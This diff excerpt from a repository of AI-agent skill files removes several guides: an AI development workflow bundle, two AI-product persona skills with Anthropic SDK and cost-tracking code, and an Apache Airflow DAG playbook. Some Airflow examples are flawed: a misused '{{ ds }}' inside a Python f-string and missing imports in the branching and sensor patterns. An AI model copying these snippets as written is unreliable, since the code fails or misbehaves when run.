|
||||
|
||||
```
|
||||
Use @vector-database-engineer to set up vector search
|
||||
```
|
||||
|
||||
```
|
||||
Use @embedding-strategies to select optimal embeddings
|
||||
```
|
||||
|
||||
### Phase 4: AI Agent Development
|
||||
|
||||
#### Skills to Invoke
|
||||
- `autonomous-agents` - Autonomous agent patterns
|
||||
- `autonomous-agent-patterns` - Agent patterns
|
||||
- `crewai` - CrewAI framework
|
||||
- `langgraph` - LangGraph
|
||||
- `multi-agent-patterns` - Multi-agent systems
|
||||
- `computer-use-agents` - Computer use agents
|
||||
|
||||
#### Actions
|
||||
1. Design agent architecture
|
||||
2. Define agent roles
|
||||
3. Implement tool integration
|
||||
4. Set up memory systems
|
||||
5. Configure orchestration
|
||||
6. Add human-in-the-loop
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @crewai to build role-based multi-agent system
|
||||
```
|
||||
|
||||
```
|
||||
Use @langgraph to create stateful AI workflows
|
||||
```
|
||||
|
||||
```
|
||||
Use @autonomous-agents to design autonomous agent
|
||||
```
|
||||
|
||||
### Phase 5: ML Pipeline Development
|
||||
|
||||
#### Skills to Invoke
|
||||
- `ml-engineer` - ML engineering
|
||||
- `mlops-engineer` - MLOps
|
||||
- `machine-learning-ops-ml-pipeline` - ML pipelines
|
||||
- `ml-pipeline-workflow` - ML workflows
|
||||
- `data-engineer` - Data engineering
|
||||
|
||||
#### Actions
|
||||
1. Design ML pipeline
|
||||
2. Set up data processing
|
||||
3. Implement model training
|
||||
4. Configure evaluation
|
||||
5. Set up model registry
|
||||
6. Deploy models
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @ml-engineer to build machine learning pipeline
|
||||
```
|
||||
|
||||
```
|
||||
Use @mlops-engineer to set up MLOps infrastructure
|
||||
```
|
||||
|
||||
### Phase 6: AI Observability
|
||||
|
||||
#### Skills to Invoke
|
||||
- `langfuse` - Langfuse observability
|
||||
- `manifest` - Manifest telemetry
|
||||
- `evaluation` - AI evaluation
|
||||
- `llm-evaluation` - LLM evaluation
|
||||
|
||||
#### Actions
|
||||
1. Set up tracing
|
||||
2. Configure logging
|
||||
3. Implement evaluation
|
||||
4. Monitor performance
|
||||
5. Track costs
|
||||
6. Set up alerts
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @langfuse to set up LLM observability
|
||||
```
|
||||
|
||||
```
|
||||
Use @evaluation to create evaluation framework
|
||||
```
|
||||
|
||||
### Phase 7: AI Security
|
||||
|
||||
#### Skills to Invoke
|
||||
- `prompt-engineering` - Prompt security
|
||||
- `security-scanning-security-sast` - Security scanning
|
||||
|
||||
#### Actions
|
||||
1. Implement input validation
|
||||
2. Add output filtering
|
||||
3. Configure rate limiting
|
||||
4. Set up access controls
|
||||
5. Monitor for abuse
|
||||
6. Implement audit logging
|
||||
|
||||
## AI Development Checklist
|
||||
|
||||
### LLM Integration
|
||||
- [ ] API keys secured
|
||||
- [ ] Rate limiting configured
|
||||
- [ ] Error handling implemented
|
||||
- [ ] Streaming enabled
|
||||
- [ ] Token usage tracked
|
||||
|
||||
### RAG System
|
||||
- [ ] Data pipeline working
|
||||
- [ ] Embeddings generated
|
||||
- [ ] Vector search optimized
|
||||
- [ ] Retrieval accuracy tested
|
||||
- [ ] Caching implemented
|
||||
|
||||
### AI Agents
|
||||
- [ ] Agent roles defined
|
||||
- [ ] Tools integrated
|
||||
- [ ] Memory working
|
||||
- [ ] Orchestration tested
|
||||
- [ ] Error handling robust
|
||||
|
||||
### Observability
|
||||
- [ ] Tracing enabled
|
||||
- [ ] Metrics collected
|
||||
- [ ] Evaluation running
|
||||
- [ ] Alerts configured
|
||||
- [ ] Dashboards created
|
||||
|
||||
## Quality Gates
|
||||
|
||||
- [ ] All AI features tested
|
||||
- [ ] Performance benchmarks met
|
||||
- [ ] Security measures in place
|
||||
- [ ] Observability configured
|
||||
- [ ] Documentation complete
|
||||
|
||||
## Related Workflow Bundles
|
||||
|
||||
- `development` - Application development
|
||||
- `database` - Data management
|
||||
- `cloud-devops` - Infrastructure
|
||||
- `testing-qa` - AI testing
|
||||
@@ -1,58 +0,0 @@
|
||||
---
|
||||
name: ai-product
|
||||
description: "Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production. This skill covers LLM integration patterns, RAG architecture, prompt ..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# AI Product Development
|
||||
|
||||
You are an AI product engineer who has shipped LLM features to millions of
|
||||
users. You've debugged hallucinations at 3am, optimized prompts to reduce
|
||||
costs by 80%, and built safety systems that caught thousands of harmful
|
||||
outputs. You know that demos are easy and production is hard. You treat
|
||||
prompts as code, validate all outputs, and never trust an LLM blindly.
|
||||
|
||||
## Patterns
|
||||
|
||||
### Structured Output with Validation
|
||||
|
||||
Use function calling or JSON mode with schema validation
|
||||
|
||||
### Streaming with Progress
|
||||
|
||||
Stream LLM responses to show progress and reduce perceived latency
|
||||
|
||||
### Prompt Versioning and Testing
|
||||
|
||||
Version prompts in code and test with regression suite
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Demo-ware
|
||||
|
||||
**Why bad**: Demos deceive. Production reveals truth. Users lose trust fast.
|
||||
|
||||
### ❌ Context window stuffing
|
||||
|
||||
**Why bad**: Expensive, slow, hits limits. Dilutes relevant context with noise.
|
||||
|
||||
### ❌ Unstructured output parsing
|
||||
|
||||
**Why bad**: Breaks randomly. Inconsistent formats. Injection risks.
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| Trusting LLM output without validation | critical | # Always validate output: |
|
||||
| User input directly in prompts without sanitization | critical | # Defense layers: |
|
||||
| Stuffing too much into context window | high | # Calculate tokens before sending: |
|
||||
| Waiting for complete response before showing anything | high | # Stream responses: |
|
||||
| Not monitoring LLM API costs | high | # Track per-request: |
|
||||
| App breaks when LLM API fails | high | # Defense in depth: |
|
||||
| Not validating facts from LLM responses | critical | # For factual claims: |
|
||||
| Making LLM calls in synchronous request handlers | high | # Async patterns: |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,277 +0,0 @@
|
||||
---
|
||||
name: ai-wrapper-product
|
||||
description: "Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Cov..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# AI Wrapper Product
|
||||
|
||||
**Role**: AI Product Architect
|
||||
|
||||
You know AI wrappers get a bad rap, but the good ones solve real problems.
|
||||
You build products where AI is the engine, not the gimmick. You understand
|
||||
prompt engineering is product development. You balance costs with user
|
||||
experience. You create AI products people actually pay for and use daily.
|
||||
|
||||
## Capabilities
|
||||
|
||||
- AI product architecture
|
||||
- Prompt engineering for products
|
||||
- API cost management
|
||||
- AI usage metering
|
||||
- Model selection
|
||||
- AI UX patterns
|
||||
- Output quality control
|
||||
- AI product differentiation
|
||||
|
||||
## Patterns
|
||||
|
||||
### AI Product Architecture
|
||||
|
||||
Building products around AI APIs
|
||||
|
||||
**When to use**: When designing an AI-powered product
|
||||
|
||||
```python
|
||||
## AI Product Architecture
|
||||
|
||||
### The Wrapper Stack
|
||||
```
|
||||
User Input
|
||||
↓
|
||||
Input Validation + Sanitization
|
||||
↓
|
||||
Prompt Template + Context
|
||||
↓
|
||||
AI API (OpenAI/Anthropic/etc.)
|
||||
↓
|
||||
Output Parsing + Validation
|
||||
↓
|
||||
User-Friendly Response
|
||||
```
|
||||
|
||||
### Basic Implementation
|
||||
```javascript
|
||||
import Anthropic from '@anthropic-ai/sdk';
|
||||
|
||||
const anthropic = new Anthropic();
|
||||
|
||||
async function generateContent(userInput, context) {
|
||||
// 1. Validate input
|
||||
if (!userInput || userInput.length > 5000) {
|
||||
throw new Error('Invalid input');
|
||||
}
|
||||
|
||||
// 2. Build prompt
|
||||
const systemPrompt = `You are a ${context.role}.
|
||||
Always respond in ${context.format}.
|
||||
Tone: ${context.tone}`;
|
||||
|
||||
// 3. Call API
|
||||
const response = await anthropic.messages.create({
|
||||
model: 'claude-3-haiku-20240307',
|
||||
max_tokens: 1000,
|
||||
system: systemPrompt,
|
||||
messages: [{
|
||||
role: 'user',
|
||||
content: userInput
|
||||
}]
|
||||
});
|
||||
|
||||
// 4. Parse and validate output
|
||||
const output = response.content[0].text;
|
||||
return parseOutput(output);
|
||||
}
|
||||
```
|
||||
|
||||
### Model Selection
|
||||
| Model | Cost | Speed | Quality | Use Case |
|
||||
|-------|------|-------|---------|----------|
|
||||
| GPT-4o | $$$ | Fast | Best | Complex tasks |
|
||||
| GPT-4o-mini | $ | Fastest | Good | Most tasks |
|
||||
| Claude 3.5 Sonnet | $$ | Fast | Excellent | Balanced |
|
||||
| Claude 3 Haiku | $ | Fastest | Good | High volume |
|
||||
```
|
||||
|
||||
### Prompt Engineering for Products
|
||||
|
||||
Production-grade prompt design
|
||||
|
||||
**When to use**: When building AI product prompts
|
||||
|
||||
```javascript
|
||||
## Prompt Engineering for Products
|
||||
|
||||
### Prompt Template Pattern
|
||||
```javascript
|
||||
const promptTemplates = {
|
||||
emailWriter: {
|
||||
system: `You are an expert email writer.
|
||||
Write professional, concise emails.
|
||||
Match the requested tone.
|
||||
Never include placeholder text.`,
|
||||
user: (input) => `Write an email:
|
||||
Purpose: ${input.purpose}
|
||||
Recipient: ${input.recipient}
|
||||
Tone: ${input.tone}
|
||||
Key points: ${input.points.join(', ')}
|
||||
Length: ${input.length} sentences`,
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
### Output Control
|
||||
```javascript
|
||||
// Force structured output
|
||||
const systemPrompt = `
|
||||
Always respond with valid JSON in this format:
|
||||
{
|
||||
"title": "string",
|
||||
"content": "string",
|
||||
"suggestions": ["string"]
|
||||
}
|
||||
Never include any text outside the JSON.
|
||||
`;
|
||||
|
||||
// Parse with fallback
|
||||
function parseAIOutput(text) {
|
||||
try {
|
||||
return JSON.parse(text);
|
||||
} catch {
|
||||
// Fallback: extract JSON from response
|
||||
const match = text.match(/\{[\s\S]*\}/);
|
||||
if (match) return JSON.parse(match[0]);
|
||||
throw new Error('Invalid AI output');
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Quality Control
|
||||
| Technique | Purpose |
|
||||
|-----------|---------|
|
||||
| Examples in prompt | Guide output style |
|
||||
| Output format spec | Consistent structure |
|
||||
| Validation | Catch malformed responses |
|
||||
| Retry logic | Handle failures |
|
||||
| Fallback models | Reliability |
|
||||
```
|
||||
|
||||
### Cost Management
|
||||
|
||||
Controlling AI API costs
|
||||
|
||||
**When to use**: When building profitable AI products
|
||||
|
||||
```javascript
|
||||
## AI Cost Management
|
||||
|
||||
### Token Economics
|
||||
```javascript
|
||||
// Track usage
|
||||
async function callWithCostTracking(userId, prompt) {
|
||||
const response = await anthropic.messages.create({...});
|
||||
|
||||
// Log usage
|
||||
await db.usage.create({
|
||||
userId,
|
||||
inputTokens: response.usage.input_tokens,
|
||||
outputTokens: response.usage.output_tokens,
|
||||
cost: calculateCost(response.usage),
|
||||
model: 'claude-3-haiku',
|
||||
});
|
||||
|
||||
return response;
|
||||
}
|
||||
|
||||
function calculateCost(usage) {
|
||||
const rates = {
|
||||
'claude-3-haiku': { input: 0.25, output: 1.25 }, // per 1M tokens
|
||||
};
|
||||
const rate = rates['claude-3-haiku'];
|
||||
return (usage.input_tokens * rate.input +
|
||||
usage.output_tokens * rate.output) / 1_000_000;
|
||||
}
|
||||
```
|
||||
|
||||
### Cost Reduction Strategies
|
||||
| Strategy | Savings |
|
||||
|----------|---------|
|
||||
| Use cheaper models | 10-50x |
|
||||
| Limit output tokens | Variable |
|
||||
| Cache common queries | High |
|
||||
| Batch similar requests | Medium |
|
||||
| Truncate input | Variable |
|
||||
|
||||
### Usage Limits
|
||||
```javascript
|
||||
async function checkUsageLimits(userId) {
|
||||
const usage = await db.usage.sum({
|
||||
where: {
|
||||
userId,
|
||||
createdAt: { gte: startOfMonth() }
|
||||
}
|
||||
});
|
||||
|
||||
const limits = await getUserLimits(userId);
|
||||
if (usage.cost >= limits.monthlyCost) {
|
||||
throw new Error('Monthly limit reached');
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Thin Wrapper Syndrome
|
||||
|
||||
**Why bad**: No differentiation.
|
||||
Users just use ChatGPT.
|
||||
No pricing power.
|
||||
Easy to replicate.
|
||||
|
||||
**Instead**: Add domain expertise.
|
||||
Perfect the UX for specific task.
|
||||
Integrate into workflows.
|
||||
Post-process outputs.
|
||||
|
||||
### ❌ Ignoring Costs Until Scale
|
||||
|
||||
**Why bad**: Surprise bills.
|
||||
Negative unit economics.
|
||||
Can't price properly.
|
||||
Business isn't viable.
|
||||
|
||||
**Instead**: Track every API call.
|
||||
Know your cost per user.
|
||||
Set usage limits.
|
||||
Price with margin.
|
||||
|
||||
### ❌ No Output Validation
|
||||
|
||||
**Why bad**: AI hallucinates.
|
||||
Inconsistent formatting.
|
||||
Bad user experience.
|
||||
Trust issues.
|
||||
|
||||
**Instead**: Validate all outputs.
|
||||
Parse structured responses.
|
||||
Have fallback handling.
|
||||
Post-process for consistency.
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| AI API costs spiral out of control | high | ## Controlling AI Costs |
|
||||
| App breaks when hitting API rate limits | high | ## Handling Rate Limits |
|
||||
| AI gives wrong or made-up information | high | ## Handling Hallucinations |
|
||||
| AI responses too slow for good UX | medium | ## Improving AI Latency |
|
||||
|
||||
## Related Skills
|
||||
|
||||
Works well with: `llm-architect`, `micro-saas-launcher`, `frontend`, `backend`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,43 +0,0 @@
|
||||
---
|
||||
name: airflow-dag-patterns
|
||||
description: "Build production Apache Airflow DAGs with best practices for operators, sensors, testing, and deployment. Use when creating data pipelines, orchestrating workflows, or scheduling batch jobs."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Apache Airflow DAG Patterns
|
||||
|
||||
Production-ready patterns for Apache Airflow including DAG design, operators, sensors, testing, and deployment strategies.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Creating data pipeline orchestration with Airflow
|
||||
- Designing DAG structures and dependencies
|
||||
- Implementing custom operators and sensors
|
||||
- Testing Airflow DAGs locally
|
||||
- Setting up Airflow in production
|
||||
- Debugging failed DAG runs
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need a simple cron job or shell script
|
||||
- Airflow is not part of the tooling stack
|
||||
- The task is unrelated to workflow orchestration
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Identify data sources, schedules, and dependencies.
|
||||
2. Design idempotent tasks with clear ownership and retries.
|
||||
3. Implement DAGs with observability and alerting hooks.
|
||||
4. Validate in staging and document operational runbooks.
|
||||
|
||||
Refer to `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
|
||||
|
||||
## Safety
|
||||
|
||||
- Avoid changing production DAG schedules without approval.
|
||||
- Test backfills and retries carefully to prevent data duplication.
|
||||
|
||||
## Resources
|
||||
|
||||
- `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
|
||||
@@ -1,509 +0,0 @@
|
||||
# Apache Airflow DAG Patterns Implementation Playbook
|
||||
|
||||
This file contains detailed patterns, checklists, and code samples referenced by the skill.
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### 1. DAG Design Principles
|
||||
|
||||
| Principle | Description |
|
||||
|-----------|-------------|
|
||||
| **Idempotent** | Running twice produces same result |
|
||||
| **Atomic** | Tasks succeed or fail completely |
|
||||
| **Incremental** | Process only new/changed data |
|
||||
| **Observable** | Logs, metrics, alerts at every step |
|
||||
|
||||
### 2. Task Dependencies
|
||||
|
||||
```python
|
||||
# Linear
|
||||
task1 >> task2 >> task3
|
||||
|
||||
# Fan-out
|
||||
task1 >> [task2, task3, task4]
|
||||
|
||||
# Fan-in
|
||||
[task1, task2, task3] >> task4
|
||||
|
||||
# Complex
|
||||
task1 >> task2 >> task4
|
||||
task1 >> task3 >> task4
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
```python
|
||||
# dags/example_dag.py
|
||||
from datetime import datetime, timedelta
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
from airflow.operators.empty import EmptyOperator
|
||||
|
||||
default_args = {
|
||||
'owner': 'data-team',
|
||||
'depends_on_past': False,
|
||||
'email_on_failure': True,
|
||||
'email_on_retry': False,
|
||||
'retries': 3,
|
||||
'retry_delay': timedelta(minutes=5),
|
||||
'retry_exponential_backoff': True,
|
||||
'max_retry_delay': timedelta(hours=1),
|
||||
}
|
||||
|
||||
with DAG(
|
||||
dag_id='example_etl',
|
||||
default_args=default_args,
|
||||
description='Example ETL pipeline',
|
||||
schedule='0 6 * * *', # Daily at 6 AM
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
tags=['etl', 'example'],
|
||||
max_active_runs=1,
|
||||
) as dag:
|
||||
|
||||
start = EmptyOperator(task_id='start')
|
||||
|
||||
def extract_data(**context):
|
||||
execution_date = context['ds']
|
||||
# Extract logic here
|
||||
return {'records': 1000}
|
||||
|
||||
extract = PythonOperator(
|
||||
task_id='extract',
|
||||
python_callable=extract_data,
|
||||
)
|
||||
|
||||
end = EmptyOperator(task_id='end')
|
||||
|
||||
start >> extract >> end
|
||||
```
|
||||
|
||||
## Patterns
|
||||
|
||||
### Pattern 1: TaskFlow API (Airflow 2.0+)
|
||||
|
||||
```python
|
||||
# dags/taskflow_example.py
|
||||
from datetime import datetime
|
||||
from airflow.decorators import dag, task
|
||||
from airflow.models import Variable
|
||||
|
||||
@dag(
|
||||
dag_id='taskflow_etl',
|
||||
schedule='@daily',
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
tags=['etl', 'taskflow'],
|
||||
)
|
||||
def taskflow_etl():
|
||||
"""ETL pipeline using TaskFlow API"""
|
||||
|
||||
@task()
|
||||
def extract(source: str) -> dict:
|
||||
"""Extract data from source"""
|
||||
import pandas as pd
|
||||
|
||||
df = pd.read_csv(f's3://bucket/{source}/{{ ds }}.csv')
|
||||
return {'data': df.to_dict(), 'rows': len(df)}
|
||||
|
||||
@task()
|
||||
def transform(extracted: dict) -> dict:
|
||||
"""Transform extracted data"""
|
||||
import pandas as pd
|
||||
|
||||
df = pd.DataFrame(extracted['data'])
|
||||
df['processed_at'] = datetime.now()
|
||||
df = df.dropna()
|
||||
return {'data': df.to_dict(), 'rows': len(df)}
|
||||
|
||||
@task()
|
||||
def load(transformed: dict, target: str):
|
||||
"""Load data to target"""
|
||||
import pandas as pd
|
||||
|
||||
df = pd.DataFrame(transformed['data'])
|
||||
df.to_parquet(f's3://bucket/{target}/{{ ds }}.parquet')
|
||||
return transformed['rows']
|
||||
|
||||
@task()
|
||||
def notify(rows_loaded: int):
|
||||
"""Send notification"""
|
||||
print(f'Loaded {rows_loaded} rows')
|
||||
|
||||
# Define dependencies with XCom passing
|
||||
extracted = extract(source='raw_data')
|
||||
transformed = transform(extracted)
|
||||
loaded = load(transformed, target='processed_data')
|
||||
notify(loaded)
|
||||
|
||||
# Instantiate the DAG
|
||||
taskflow_etl()
|
||||
```
|
||||
|
||||
### Pattern 2: Dynamic DAG Generation
|
||||
|
||||
```python
|
||||
# dags/dynamic_dag_factory.py
|
||||
from datetime import datetime, timedelta
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
from airflow.models import Variable
|
||||
import json
|
||||
|
||||
# Configuration for multiple similar pipelines
|
||||
PIPELINE_CONFIGS = [
|
||||
{'name': 'customers', 'schedule': '@daily', 'source': 's3://raw/customers'},
|
||||
{'name': 'orders', 'schedule': '@hourly', 'source': 's3://raw/orders'},
|
||||
{'name': 'products', 'schedule': '@weekly', 'source': 's3://raw/products'},
|
||||
]
|
||||
|
||||
def create_dag(config: dict) -> DAG:
|
||||
"""Factory function to create DAGs from config"""
|
||||
|
||||
dag_id = f"etl_{config['name']}"
|
||||
|
||||
default_args = {
|
||||
'owner': 'data-team',
|
||||
'retries': 3,
|
||||
'retry_delay': timedelta(minutes=5),
|
||||
}
|
||||
|
||||
dag = DAG(
|
||||
dag_id=dag_id,
|
||||
default_args=default_args,
|
||||
schedule=config['schedule'],
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
tags=['etl', 'dynamic', config['name']],
|
||||
)
|
||||
|
||||
with dag:
|
||||
def extract_fn(source, **context):
|
||||
print(f"Extracting from {source} for {context['ds']}")
|
||||
|
||||
def transform_fn(**context):
|
||||
print(f"Transforming data for {context['ds']}")
|
||||
|
||||
def load_fn(table_name, **context):
|
||||
print(f"Loading to {table_name} for {context['ds']}")
|
||||
|
||||
extract = PythonOperator(
|
||||
task_id='extract',
|
||||
python_callable=extract_fn,
|
||||
op_kwargs={'source': config['source']},
|
||||
)
|
||||
|
||||
transform = PythonOperator(
|
||||
task_id='transform',
|
||||
python_callable=transform_fn,
|
||||
)
|
||||
|
||||
load = PythonOperator(
|
||||
task_id='load',
|
||||
python_callable=load_fn,
|
||||
op_kwargs={'table_name': config['name']},
|
||||
)
|
||||
|
||||
extract >> transform >> load
|
||||
|
||||
return dag
|
||||
|
||||
# Generate DAGs
|
||||
for config in PIPELINE_CONFIGS:
|
||||
globals()[f"dag_{config['name']}"] = create_dag(config)
|
||||
```
|
||||
|
||||
### Pattern 3: Branching and Conditional Logic
|
||||
|
||||
```python
|
||||
# dags/branching_example.py
|
||||
from airflow.decorators import dag, task
|
||||
from airflow.operators.python import BranchPythonOperator
|
||||
from airflow.operators.empty import EmptyOperator
|
||||
from airflow.utils.trigger_rule import TriggerRule
|
||||
|
||||
@dag(
|
||||
dag_id='branching_pipeline',
|
||||
schedule='@daily',
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
)
|
||||
def branching_pipeline():
|
||||
|
||||
@task()
|
||||
def check_data_quality() -> dict:
|
||||
"""Check data quality and return metrics"""
|
||||
quality_score = 0.95 # Simulated
|
||||
return {'score': quality_score, 'rows': 10000}
|
||||
|
||||
def choose_branch(**context) -> str:
|
||||
"""Determine which branch to execute"""
|
||||
ti = context['ti']
|
||||
metrics = ti.xcom_pull(task_ids='check_data_quality')
|
||||
|
||||
if metrics['score'] >= 0.9:
|
||||
return 'high_quality_path'
|
||||
elif metrics['score'] >= 0.7:
|
||||
return 'medium_quality_path'
|
||||
else:
|
||||
return 'low_quality_path'
|
||||
|
||||
quality_check = check_data_quality()
|
||||
|
||||
branch = BranchPythonOperator(
|
||||
task_id='branch',
|
||||
python_callable=choose_branch,
|
||||
)
|
||||
|
||||
high_quality = EmptyOperator(task_id='high_quality_path')
|
||||
medium_quality = EmptyOperator(task_id='medium_quality_path')
|
||||
low_quality = EmptyOperator(task_id='low_quality_path')
|
||||
|
||||
# Join point - runs after any branch completes
|
||||
join = EmptyOperator(
|
||||
task_id='join',
|
||||
trigger_rule=TriggerRule.NONE_FAILED_MIN_ONE_SUCCESS,
|
||||
)
|
||||
|
||||
quality_check >> branch >> [high_quality, medium_quality, low_quality] >> join
|
||||
|
||||
branching_pipeline()
|
||||
```
|
||||
|
||||
### Pattern 4: Sensors and External Dependencies
|
||||
|
||||
```python
|
||||
# dags/sensor_patterns.py
|
||||
from datetime import datetime, timedelta
|
||||
from airflow import DAG
|
||||
from airflow.sensors.filesystem import FileSensor
|
||||
from airflow.providers.amazon.aws.sensors.s3 import S3KeySensor
|
||||
from airflow.sensors.external_task import ExternalTaskSensor
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='sensor_example',
|
||||
schedule='@daily',
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
) as dag:
|
||||
|
||||
# Wait for file on S3
|
||||
wait_for_file = S3KeySensor(
|
||||
task_id='wait_for_s3_file',
|
||||
bucket_name='data-lake',
|
||||
bucket_key='raw/{{ ds }}/data.parquet',
|
||||
aws_conn_id='aws_default',
|
||||
timeout=60 * 60 * 2, # 2 hours
|
||||
poke_interval=60 * 5, # Check every 5 minutes
|
||||
mode='reschedule', # Free up worker slot while waiting
|
||||
)
|
||||
|
||||
# Wait for another DAG to complete
|
||||
wait_for_upstream = ExternalTaskSensor(
|
||||
task_id='wait_for_upstream_dag',
|
||||
external_dag_id='upstream_etl',
|
||||
external_task_id='final_task',
|
||||
execution_date_fn=lambda dt: dt, # Same execution date
|
||||
timeout=60 * 60 * 3,
|
||||
mode='reschedule',
|
||||
)
|
||||
|
||||
# Custom sensor using @task.sensor decorator
|
||||
@task.sensor(poke_interval=60, timeout=3600, mode='reschedule')
|
||||
def wait_for_api() -> PokeReturnValue:
|
||||
"""Custom sensor for API availability"""
|
||||
import requests
|
||||
|
||||
response = requests.get('https://api.example.com/health')
|
||||
is_done = response.status_code == 200
|
||||
|
||||
return PokeReturnValue(is_done=is_done, xcom_value=response.json())
|
||||
|
||||
api_ready = wait_for_api()
|
||||
|
||||
def process_data(**context):
|
||||
api_result = context['ti'].xcom_pull(task_ids='wait_for_api')
|
||||
print(f"API returned: {api_result}")
|
||||
|
||||
process = PythonOperator(
|
||||
task_id='process',
|
||||
python_callable=process_data,
|
||||
)
|
||||
|
||||
[wait_for_file, wait_for_upstream, api_ready] >> process
|
||||
```
|
||||
|
||||
### Pattern 5: Error Handling and Alerts
|
||||
|
||||
```python
|
||||
# dags/error_handling.py
|
||||
from datetime import datetime, timedelta
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
from airflow.utils.trigger_rule import TriggerRule
|
||||
from airflow.models import Variable
|
||||
|
||||
def task_failure_callback(context):
|
||||
"""Callback on task failure"""
|
||||
task_instance = context['task_instance']
|
||||
exception = context.get('exception')
|
||||
|
||||
# Send to Slack/PagerDuty/etc
|
||||
message = f"""
|
||||
Task Failed!
|
||||
DAG: {task_instance.dag_id}
|
||||
Task: {task_instance.task_id}
|
||||
Execution Date: {context['ds']}
|
||||
Error: {exception}
|
||||
Log URL: {task_instance.log_url}
|
||||
"""
|
||||
# send_slack_alert(message)
|
||||
print(message)
|
||||
|
||||
def dag_failure_callback(context):
|
||||
"""Callback on DAG failure"""
|
||||
# Aggregate failures, send summary
|
||||
pass
|
||||
|
||||
with DAG(
|
||||
dag_id='error_handling_example',
|
||||
schedule='@daily',
|
||||
start_date=datetime(2024, 1, 1),
|
||||
catchup=False,
|
||||
on_failure_callback=dag_failure_callback,
|
||||
default_args={
|
||||
'on_failure_callback': task_failure_callback,
|
||||
'retries': 3,
|
||||
'retry_delay': timedelta(minutes=5),
|
||||
},
|
||||
) as dag:
|
||||
|
||||
def might_fail(**context):
|
||||
import random
|
||||
if random.random() < 0.3:
|
||||
raise ValueError("Random failure!")
|
||||
return "Success"
|
||||
|
||||
risky_task = PythonOperator(
|
||||
task_id='risky_task',
|
||||
python_callable=might_fail,
|
||||
)
|
||||
|
||||
def cleanup(**context):
|
||||
"""Cleanup runs regardless of upstream failures"""
|
||||
print("Cleaning up...")
|
||||
|
||||
cleanup_task = PythonOperator(
|
||||
task_id='cleanup',
|
||||
python_callable=cleanup,
|
||||
trigger_rule=TriggerRule.ALL_DONE, # Run even if upstream fails
|
||||
)
|
||||
|
||||
def notify_success(**context):
|
||||
"""Only runs if all upstream succeeded"""
|
||||
print("All tasks succeeded!")
|
||||
|
||||
success_notification = PythonOperator(
|
||||
task_id='notify_success',
|
||||
python_callable=notify_success,
|
||||
trigger_rule=TriggerRule.ALL_SUCCESS,
|
||||
)
|
||||
|
||||
risky_task >> [cleanup_task, success_notification]
|
||||
```
|
||||
|
||||
### Pattern 6: Testing DAGs
|
||||
|
||||
```python
|
||||
# tests/test_dags.py
|
||||
import pytest
|
||||
from datetime import datetime
|
||||
from airflow.models import DagBag
|
||||
|
||||
@pytest.fixture
|
||||
def dagbag():
|
||||
return DagBag(dag_folder='dags/', include_examples=False)
|
||||
|
||||
def test_dag_loaded(dagbag):
|
||||
"""Test that all DAGs load without errors"""
|
||||
assert len(dagbag.import_errors) == 0, f"DAG import errors: {dagbag.import_errors}"
|
||||
|
||||
def test_dag_structure(dagbag):
|
||||
"""Test specific DAG structure"""
|
||||
dag = dagbag.get_dag('example_etl')
|
||||
|
||||
assert dag is not None
|
||||
assert len(dag.tasks) == 3
|
||||
assert dag.schedule_interval == '0 6 * * *'
|
||||
|
||||
def test_task_dependencies(dagbag):
|
||||
"""Test task dependencies are correct"""
|
||||
dag = dagbag.get_dag('example_etl')
|
||||
|
||||
extract_task = dag.get_task('extract')
|
||||
assert 'start' in [t.task_id for t in extract_task.upstream_list]
|
||||
assert 'end' in [t.task_id for t in extract_task.downstream_list]
|
||||
|
||||
def test_dag_integrity(dagbag):
|
||||
"""Test DAG has no cycles and is valid"""
|
||||
for dag_id, dag in dagbag.dags.items():
|
||||
assert dag.test_cycle() is None, f"Cycle detected in {dag_id}"
|
||||
|
||||
# Test individual task logic
|
||||
def test_extract_function():
|
||||
"""Unit test for extract function"""
|
||||
from dags.example_dag import extract_data
|
||||
|
||||
result = extract_data(ds='2024-01-01')
|
||||
assert 'records' in result
|
||||
assert isinstance(result['records'], int)
|
||||
```
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
airflow/
|
||||
├── dags/
|
||||
